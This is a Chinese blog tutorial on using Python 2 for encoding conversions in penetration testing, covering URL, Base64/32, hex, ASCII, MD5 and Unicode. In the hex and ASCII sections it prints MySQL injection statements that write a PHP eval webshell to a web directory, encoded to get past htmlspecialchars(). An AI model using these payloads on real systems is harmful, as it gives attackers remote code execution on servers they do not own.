python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
在Python中利用Into包整洁地进行数据迁移的教程
Mar 30 Python
python计算方程式根的方法
May 07 Python
在Python中处理时间之clock()方法的使用
May 22 Python
Python 统计字数的思路详解
May 08 Python
pytorch + visdom 处理简单分类问题的示例
Jun 04 Python
对python中Json与object转化的方法详解
Dec 31 Python
解决Python二维数组赋值问题
Nov 28 Python
将数据集制作成VOC数据集格式的实例
Feb 17 Python
python datetime时间格式的相互转换问题
Jun 11 Python
tensorflow 2.1.0 安装与实战教程(CASIA FACE v5)
Jun 30 Python
Django修改app名称和数据表迁移方案实现
Sep 17 Python
Python数据分析之pandas函数详解
Apr 21 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
php中取得URL的根域名的代码
2011/03/23 PHP
PHP中把数据库查询结果输出为json格式简单实例
2015/04/09 PHP
浅析PHP中call user func()函数及如何使用call user func调用自定义函数
2015/11/05 PHP
学习php设计模式 php实现工厂模式(factory)
2015/12/07 PHP
php使用pdo连接sqlite3的配置示例
2016/05/27 PHP
PHP微信开发之查询微信精选文章
2016/06/23 PHP
PHP5.6新增加的可变函数参数用法分析
2017/08/25 PHP
PHP设计模式之建造者模式定义与用法简单示例
2018/08/13 PHP
php curl获取https页面内容,不直接输出返回结果的设置方法
2019/01/15 PHP
一文掌握PHP Xdebug 本地与远程调试(小结)
2019/04/23 PHP
PHP+redis实现微博的推模型案例分析
2019/07/10 PHP
return false,对阻止事件默认动作的一些测试代码
2010/11/17 Javascript
IE关闭时判断及AJAX注销案例学习
2013/02/18 Javascript
javascript两种function的定义介绍及区别说明
2013/05/02 Javascript
Jquery中children与find之间的区别详细解析
2013/11/29 Javascript
动态的绑定事件addEventListener方法的使用
2014/01/24 Javascript
Jquery代码实现图片轮播效果(一)
2015/08/12 Javascript
基于JavaScript操作DOM常用的API小结
2015/12/01 Javascript
很酷的星级评分系统原生JS实现
2016/08/25 Javascript
基于Bootstrap的Metronic框架实现条码和二维码的生成及打印处理操作
2016/08/29 Javascript
js两种拼接字符串的简单方法(必看)
2016/09/02 Javascript
vue组件间通信解析
2017/03/01 Javascript
详解基于Bootstrap+angular的一个豆瓣电影app
2017/06/26 Javascript
vue中阻止click事件冒泡,防止触发另一个事件的方法
2018/02/08 Javascript
react-router-dom 嵌套路由的实现
2020/05/02 Javascript
JavaScript如何实现图片处理与合成
2020/05/29 Javascript
javascript实现多边形碰撞检测
2020/10/24 Javascript
利用pandas读取中文数据集的方法
2018/07/25 Python
Python机器学习算法库scikit-learn学习之决策树实现方法详解
2019/07/04 Python
python单元测试框架pytest的使用示例
2020/10/07 Python
实习心得体会
2014/01/02 职场文书
小学校园活动策划
2014/01/30 职场文书
2016公司年会通知范文
2015/04/25 职场文书
Django中的JWT身份验证的实现
2021/05/07 Python
一篇文章弄懂Python中的内建函数
2021/08/07 Python
一次项目中Thinkphp绕过禁用函数的实战记录
2021/11/17 PHP